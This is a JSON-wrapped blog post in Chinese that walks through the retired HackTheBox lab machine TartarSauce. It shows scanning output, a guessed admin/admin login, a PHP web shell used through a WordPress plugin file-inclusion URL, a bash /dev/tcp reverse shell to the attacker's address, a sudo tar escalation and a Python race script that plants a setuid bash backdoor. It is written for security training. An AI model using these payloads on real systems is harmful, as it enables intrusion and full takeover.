{"id":116,"date":"2024-11-13T09:24:46","date_gmt":"2024-11-13T01:24:46","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=116"},"modified":"2024-11-13T09:50:21","modified_gmt":"2024-11-13T01:50:21","slug":"htb_machine_tartarsauce","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/htb_machine_tartarsauce\/","title":{"rendered":"HTB\u9776\u673a TartarSauce \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.10.88<\/code><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/tartarsauce\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.88\nPING 10.10.10.88 (10.10.10.88) 56(84) bytes of data.\n64 bytes from 10.10.10.88: icmp_seq=2 ttl=63 time=794 ms\n64 bytes from 10.10.10.88: icmp_seq=3 ttl=63 time=792 ms\n\n--- 10.10.10.88 ping statistics ---\n4 packets transmitted, 2 received, 50% packet loss, time 3145ms\nrtt min\/avg\/max\/mdev = 792.028\/792.837\/793.647\/0.809 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7684\u7f51\u7edc\u8fde\u63a5\u8f83\u5dee\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.94SVN scan initiated Thu Jul  4 21:18:25 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.88\nNmap scan report for 10.10.10.88 (10.10.10.88)\nHost is up (0.27s latency).\nNot shown: 65534 closed tcp ports (reset)\nPORT   STATE         SERVICE\n80\/tcp open|filtered http\n\n# Nmap done at Thu Jul  4 21:19:18 2024 -- 1 IP address (1 host up) scanned in 53.98 seconds<\/code><\/pre>\n
\u9776\u673a\u5f00\u653e\u4e86\u4e00\u4e2aTCP<\/code>\u7aef\u53e3\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Thu Jul  4 21:21:53 2024 as: nmap -sS -sV -A -p 80 -oN .\/tcp_result.txt 10.10.10.88\nNmap scan report for 10.10.10.88 (10.10.10.88)\nHost is up (0.27s latency).\n\nPORT   STATE SERVICE VERSION\n80\/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))\n|_http-title: Landing Page\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.12 (93%), Linux 3.13 (93%), Linux 3.18 (93%), Linux 3.2 - 4.9 (93%), Linux 3.8 - 3.11 (93%), DD-WRT (Linux 3.18) (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\n\nTRACEROUTE (using port 80\/tcp)\nHOP RTT       ADDRESS\n1   265.12 ms 10.10.14.1 (10.10.14.1)\n2   265.59 ms 10.10.10.88 (10.10.10.88)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Thu Jul  4 21:22:24 2024 -- 1 IP address (1 host up) scanned in 30.84 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Thu Jul  4 21:24:04 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_result.txt 10.10.10.88\nWarning: 10.10.10.88 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.88 (10.10.10.88)\nHost is up (0.26s latency).\nAll 65535 scanned ports on 10.10.10.88 (10.10.10.88) are in ignored states.\nNot shown: 65257 open|filtered udp ports (no-response), 278 closed udp ports (port-unreach)\n\n# Nmap done at Thu Jul  4 21:30:05 2024 -- 1 IP address (1 host up) scanned in 361.93 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aUbuntu Linux<\/code>\uff0c\u5185\u6838\u7248\u672c\u5927\u81f4\u4e3aLinux 3.16<\/code>\u3002<\/p>\n
\n
Web\u670d\u52a1\u63a2\u6d4b<\/h1>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/10.10.10.88\/<\/code><\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u4e3b\u9875\u4e0a\u6709\u4e00\u5e45\u5b57\u7b26\u753b\uff0c\u548c\u6587\u672cTartarSauce<\/code>\uff0c\u7f51\u9875\u6e90\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n
<!DOCTYPE html>\n<body style=\"background-color:black;\">\n<font color=\"YellowGreen\">\n<font size=\"3\">\n<html>\n<head>\n    <title>Landing Page<\/title>\n<\/head>\n<body>\n<center>                         <h1 style=\"font-family:Arial;\">Welcome to TartarSauce<\/h1>\n<pre>\n<!-- Character painting on the web pages. -->                                        \n<\/font>\n<\/center>\n<\/pre>\n<\/body>\n<\/html>\n<!-- Hundreds of blank lines. -->\n<!--Carry on, nothing to see here :D--><\/code><\/pre>\n
\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n
# Dirsearch started Fri Jul  5 08:26:17 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/10.10.10.88\/ -x 400,403,404 -t 60 -e php,js,html,asp,aspx,txt,zip,tar.gz,pcap -w \/usr\/share\/wordlists\/dirb\/big.txt\n\n200   128B   http:\/\/10.10.10.88\/robots.txt\n301   316B   http:\/\/10.10.10.88\/webservices    -> REDIRECTS TO: http:\/\/10.10.10.88\/webservices\/<\/code><\/pre>\n
\u53d1\u73b0\u4e86robots.txt<\/code>\u548cwebservices<\/code>\u76ee\u5f55\u3002robots.txt<\/code>\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n
User-agent: *\nDisallow: \/webservices\/tar\/tar\/source\/\nDisallow: \/webservices\/monstra-3.0.4\/\nDisallow: \/webservices\/easy-file-uploader\/\nDisallow: \/webservices\/developmental\/\nDisallow: \/webservices\/phpmyadmin\/<\/code><\/pre>\n
\u5176\u4e2d\u53ea\u6709monstra-3.0.4<\/code>\u76ee\u5f55\u6709\u6548\u3002<\/p>\n
\u8bbf\u95ee\/monstra-3.0.4<\/code>\u76ee\u5f55\uff0c\u53d1\u73b0\u9776\u673a\u90e8\u7f72\u4e86Monstra CMS<\/code>\u5185\u5bb9\u7ba1\u7406\u7cfb\u7edf\uff0c\u7248\u672c\u4e3av3.0.4<\/code>\uff0c\u5b58\u5728\u547d\u4ee4\u6267\u884c\u548c\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\u7b49\u9ad8\u5371\u6f0f\u6d1e\u3002<\/p>\n
\"\"<\/p>\n
\u70b9\u51fb\u9875\u9762\u4e0a\u7684\u94fe\u63a5\uff0c\u53d1\u73b0\u9664\u4e86\u6b63\u6587\u4e2d\u5bfc\u822a\u5230\u540e\u53f0\u767b\u5f55\u9875\u9762\u7684\u94fe\u63a5\u4e4b\u5916\uff0c\u5176\u5b83\u94fe\u63a5\u5168\u90e8\u65e0\u6548\u3002<\/p>\n
\u8bbf\u95ee\u540e\u53f0\u767b\u5f55\u9875\uff0c\u53d1\u73b0\u6709\u5bc6\u7801\u627e\u56de\u754c\u9762\uff0c\u53ef\u4ee5\u7528\u4e8e\u7206\u7834\u7528\u6237\u540d\uff08\u987a\u624b\u76f4\u63a5\u627e\u5230\u4e00\u4e2a<\/strong>admin<\/code>\u7528\u6237\uff09<\/strong> \u30fd(\uff9f\u2200\uff9f)\uff92(\uff9f\u2200\uff9f)\uff89<\/p>\n
\"\"<\/p>\n
\uff08\u5982\u679c\u8f93\u5165\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u7528\u6237\u540d\uff0c\u9875\u9762\u4e0a\u9664\u4e86\u63d0\u793a\u9a8c\u8bc1\u7801\u9519\u8bef\u4e4b\u5916\uff0c\u8fd8\u4f1a\u76f4\u63a5\u63d0\u793a\u7528\u6237\u540d\u4e0d\u5b58\u5728\uff09<\/strong><\/p>\n
\u518d\u6b21\u626b\u63cf\/webservices<\/code>\u76ee\u5f55\uff0c\u53d1\u73b0WordPress<\/code>\u76ee\u5f55\uff1a<\/p>\n
# Dirsearch started Fri Jul  5 08:56:28 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/10.10.10.88\/webservices -x 400,403,404 -t 60 -e php,js,html,txt,zip,tar.gz,pcap\n\n301   319B   http:\/\/10.10.10.88\/webservices\/wp    -> REDIRECTS TO: http:\/\/10.10.10.88\/webservices\/wp\/\n200     1KB  http:\/\/10.10.10.88\/webservices\/wp\/wp-login.php\n200     3KB  http:\/\/10.10.10.88\/webservices\/wp\/<\/code><\/pre>\n
\u8bbf\u95ee\/wp<\/code>\u76ee\u5f55\uff1a<\/p>\n
\"\"<\/p>\n
\u4e3b\u9875\u4e0a\u53ea\u6709\u4e00\u5219\u5e16\u5b50\uff1a<\/p>\n
======== Hello World! ========\nThis blog site is under construction, stay tuned.\n==============================<\/code><\/pre>\n
\u5c1d\u8bd5\u4f7f\u7528WPScan<\/code>\u8fdb\u884c\u626b\u63cf\uff1a<\/p>\n
wpscan --url http:\/\/10.10.10.88\/webservices\/wp --enumerate u,p,t --api-token \"**********\"\nwpscan --url http:\/\/10.10.10.88\/webservices\/wp --enumerate vp,vt --api-token \"**********\"<\/code><\/pre>\n
\u53ea\u626b\u63cf\u5230\u4e00\u4e2a\u7528\u6237\uff1awpadmin<\/code>\u3002<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
\u5f31\u53e3\u4ee4\u731c\u6d4b<\/h2>\n
\u4f5c\u8005\u5728\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u4e2d\uff0c\u6210\u529f\u731c\u6d4b\u51fa\u4e86Monstra CMS<\/code>\u7684\u7528\u6237\u540d\uff1aadmin<\/code>\uff0c\u6240\u4ee5\u4f5c\u8005\u5c1d\u8bd5\u5c06admin<\/code>\u4f5c\u4e3a\u5bc6\u7801\u8fdb\u884c\u767b\u5f55\uff0c\u6210\u529f\uff1a<\/p>\n
\"\"<\/p>\n
WordPress\u63d2\u4ef6\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u767b\u5f55\u540e\u53f0\u4e4b\u540e\uff0c\u53d1\u73b0\u65e0\u4efb\u4f55\u6709\u6548\u4fe1\u606f\uff0c\u540e\u53f0\u4e5f\u65e0\u6cd5\u6b63\u5e38\u4e0a\u4f20\u6587\u4ef6\u548c\u7f16\u8f91\u6a21\u677f\uff0c\u66f4\u65e0\u6cd5\u5229\u7528\u6f0f\u6d1e\uff0c\u53ea\u80fd\u5c06\u76ee\u6807\u66f4\u6362\u4e3aWordPress<\/code>\u3002<\/p>\n
\u5c1d\u8bd5\u4f7f\u7528WPScan<\/code>\u7684\u4fb5\u5165\u626b\u63cf\u6a21\u5f0f\uff1a<\/p>\n
wpscan --url http:\/\/10.10.10.88\/webservices\/wp --enumerate u,p,t --plugins-detection aggressive --detection-mode aggressive --api-token \"*****\"<\/code><\/pre>\n
\u6210\u529f\u626b\u63cf\u5230\u4e86\u4e00\u4e2a\u5e26\u6f0f\u6d1e\u7684\u63d2\u4ef6\uff1a<\/p>\n
\"\"<\/p>\n
\u8054\u7f51\u67e5\u8be2\u8be5\u63d2\u4ef6\uff0c\u53d1\u73b0\u8be5\u63d2\u4ef6\u5386\u53f2\u7248\u672c\u8fd8\u6709\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff1a<\/p>\n
\"\"<\/p>\n
\u5c1d\u8bd5\u5728\u653b\u51fb\u673a\u4e0a\u6253\u5f00SimpleHTTPServer<\/code>\uff0c\u65b0\u5efa\u6728\u9a6c\u6587\u4ef6wp-load.php<\/code>\uff08\u8be5\u6f0f\u6d1e\u4f1a\u5305\u542bwp-load.php<\/code>\uff09\uff1a<\/p>\n
<?php\n    $command = $_POST['cmd'];\n    if (isset($command) && !empty($command)) { \n        system($command);\n    } else die(\"Hello, hello, I'm sparkle!\");\n?><\/code><\/pre>\n
\u968f\u540e\u8bbf\u95ee\u5982\u4e0b\u7f51\u5740\uff1a<\/p>\n
http:\/\/10.10.10.88\/webservices\/wp\/wp-content\/plugins\/gwolle-gb\/frontend\/captcha\/ajaxresponse.php?abspath=http:\/\/10.10.14.4\/<\/code><\/pre>\n
\"\"<\/p>\n
\u6587\u4ef6\u5305\u542b\u6210\u529f\uff01\uff01\u63a5\u4e0b\u6765\u76f4\u63a5\u53cd\u5f39Shell\uff1a<\/strong><\/p>\n
\/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.10.14.4\/443 0>&1'<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n
\n
\u6743\u9650\u63d0\u5347<\/h1>\n
Sudo tar \u63d0\u6743<\/h2>\n
\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u53d1\u73b0www-data<\/code>\u7528\u6237\u53ef\u4ee5\u901a\u8fc7sudo<\/code>\u4ee5onuma<\/code>\u7528\u6237\u8eab\u4efd\u514d\u5bc6\u6267\u884c\/bin\/tar<\/code>\u7a0b\u5e8f\uff1a<\/p>\n
\"\"<\/p>\n
\u76f4\u63a5\u6267\u884c\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n
sudo -u onuma tar -cf \/dev\/null \/dev\/null --checkpoint=1 --checkpoint-action=exec=\/bin\/bash<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\u63d0\u6743\u81f3onuma<\/code>\u7528\u6237\u3002<\/p>\n
\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n
\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n
\"\"<\/p>\n
\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n
\"\"<\/p>\n
\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n
\"\"<\/p>\n
\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n
\"\"<\/p>\n
\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n
\"\"<\/p>\n
\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n
\"\"<\/p>\n
\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n
\"\"<\/p>\n
\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n
\"\"<\/p>\n
\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n
\"\"<\/p>\n
\u7ecf\u5206\u6790\u7814\u5224\uff0c\u672a\u901a\u8fc7LinPeas<\/code>\u811a\u672c\u627e\u5230\u5173\u952e\u4fe1\u606f\uff0c\u9042\u4e0a\u4f20Pspy<\/code>\u5de5\u5177\u6267\u884c\u7cfb\u7edf\u8fdb\u7a0b\u76d1\u63a7\uff0c\u53d1\u73b0\u9776\u673a\u5728\u4ee5root<\/code>\u6743\u9650\u8fd0\u884c\u5982\u4e0b\u5b9a\u65f6\u4efb\u52a1\uff1a\/usr\/sbin\/backuperer<\/code><\/p>\n
\"\"<\/p>\n
\u67e5\u770b\u8be5\u6587\u4ef6\u7c7b\u578b\uff0c\u53d1\u73b0\u4e3a\u811a\u672c\u6587\u4ef6\uff0c\u51b3\u5b9a\u4ee5\u8be5\u811a\u672c\u6587\u4ef6\u4e3a\u5165\u53e3\u8fdb\u4e00\u6b65\u63d0\u6743\u3002<\/p>\n
\u5b9a\u65f6\u811a\u672c\u63d0\u6743<\/h2>\n
\u8be5\u811a\u672c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n
#!\/bin\/bash\n\n#-------------------------------------------------------------------------------------\n# backuperer ver 1.0.2 - by \u021c\u04ce\u0157g\u0377\u037c\u021c\n# ONUMA Dev auto backup program\n# This tool will keep our webapp backed up incase another skiddie defaces us again.\n# We will be able to quickly restore from a backup in seconds ;P\n#-------------------------------------------------------------------------------------\n\n# Set Vars Here\nbasedir=\/var\/www\/html\nbkpdir=\/var\/backups\ntmpdir=\/var\/tmp\ntestmsg=$bkpdir\/onuma_backup_test.txt\nerrormsg=$bkpdir\/onuma_backup_error.txt\ntmpfile=$tmpdir\/.$(\/usr\/bin\/head -c100 \/dev\/urandom |sha1sum|cut -d' ' -f1)\ncheck=$tmpdir\/check\n\n# formatting\nprintbdr()\n{\n    for n in $(seq 72);\n    do \/usr\/bin\/printf $\"-\";\n    done\n}\nbdr=$(printbdr)\n\n# Added a test file to let us see when the last backup was run\n\/usr\/bin\/printf $\"$bdrnAuto backup backuperer backup last ran at : $(\/bin\/date)n$bdrn\" > $testmsg\n\n# Cleanup from last time.\n\/bin\/rm -rf $tmpdir\/.* $check\n\n# Backup onuma website dev files.\n\/usr\/bin\/sudo -u onuma \/bin\/tar -zcvf $tmpfile $basedir &\n\n# Added delay to wait for backup to complete if large files get added.\n\/bin\/sleep 30\n\n# Test the backup integrity\nintegrity_chk()\n{\n    \/usr\/bin\/diff -r $basedir $check$basedir\n}\n\n\/bin\/mkdir $check\n\/bin\/tar -zxvf $tmpfile -C $check\nif [[ $(integrity_chk) ]]\nthen\n    # Report errors so the dev can investigate the issue.\n    \/usr\/bin\/printf $\"$bdrnIntegrity Check Error in backup last ran :  $(\/bin\/date)n$bdrn$tmpfilen\" >> $errormsg\n    integrity_chk >> $errormsg\n    exit 2\nelse\n    # Clean up and save archive to the bkpdir.\n    \/bin\/mv $tmpfile $bkpdir\/onuma-www-dev.bak\n    \/bin\/rm -rf $check .*\n    exit 0\nfi<\/code><\/pre>\n
\u53ef\u4ee5\u53d1\u73b0\u8be5\u811a\u672c\u7684\u4f5c\u7528\u662f\/var<\/code>\u76ee\u5f55\u6253\u5305\u4e3a\u538b\u7f29\u6587\u4ef6\u4fdd\u5b58\u5728\/var\/tmp<\/code>\u76ee\u5f55\u4e0b\uff0c\u968f\u540e\u6682\u505c30<\/code>\u79d2\u4e4b\u540e\uff0c\u518d\u5c06\u5176\u89e3\u538b\u81f3\/var\/www\/check<\/code>\u76ee\u5f55\u4e0b\uff0c\u6700\u540e\u6bd4\u8f83\u6e90\u76ee\u5f55\u548c\u89e3\u538b\u7f29\u540e\u76ee\u5f55\u7684\u4e00\u81f4\u6027\uff0c\u5982\u679c\u76ee\u5f55\u4e0b\u6587\u4ef6\u5217\u8868\u4e0d\u4e00\u81f4\uff0c\u5219\u8f93\u51fa\u9519\u8bef\u4fe1\u606f\u81f3\u6587\u4ef6\uff0c\u5982\u679c\u4e00\u81f4\u5c31\u5220\u9664\/var\/www\/check<\/code>\u76ee\u5f55\u3002<\/p>\n
\u6839\u636e\u4ee5\u4e0a\u529f\u80fd\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u672c\u5730\u521b\u5efaBash<\/code>\u540e\u95e8\u5e76\u8d81\u7a0b\u5e8f\u505c\u673a30<\/code>\u79d2\u65f6\u6253\u5305\u4e0a\u4f20\uff0c\u66ff\u6362\u751f\u6210\u7684\u538b\u7f29\u5305\u3002\uff08\u6076\u610f\u538b\u7f29\u5305\u63d0\u524d\u4e0a\u4f20<\/span><\/strong>\/tmp<\/code>\u76ee\u5f55\uff0c\u9700\u8981\u5c06\u9776\u673a\u4e0a\u7684<\/span><\/strong>Bash<\/code>\u4e0b\u8f7d\u8fdb\u884c\u6253\u5305\uff09<\/span><\/strong>\u6076\u610f\u811a\u672c\u5982\u4e0b\uff1a<\/p>\n
#! \/usr\/bin\/python3\nimport os\n\nflag = False\nwhile True:\n    for file in os.listdir(\"\/var\/tmp\"):\n        if os.path.isfile(\"\/var\/tmp\/\" + file):\n            flag = True\n            print(\"[+] A tar file has been found: %s\"%(file))\n            os.system(\"sudo -u onuma tar -cf \/dev\/null \/dev\/null --checkpoint=1 --checkpoint-action=exec='cp -rf \/tmp\/shell.tar.gz \/var\/tmp\/%s'\"%(file))\n            print(\"[+] Successfully changed the temporarily TAR file into evil TAR file!\")\n    if flag == True: break\nexit_flag = False\nwhile True:\n    if os.path.exists(\"\/var\/tmp\/check\/var\/www\/html\/evilbash\"):\n        exit_flag = True\n        print(\"[+] Backdoor exists!\")\n        os.system(\"\/var\/tmp\/check\/var\/www\/html\/evilbash -p\")\n    if exit_flag == True: break<\/code><\/pre>\n
\u76f4\u63a5\u6267\u884cevil.sh<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n
\n
Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n
b894655e4101aaa1e837fb455c898179<\/code><\/pre>\n
\n
\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n
\n","protected":false},"excerpt":{"rendered":"
\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.88 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/ …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-116","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/116","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=116"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/116\/revisions"}],"predecessor-version":[{"id":117,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/116\/revisions\/117"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=116"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=116"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=116"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}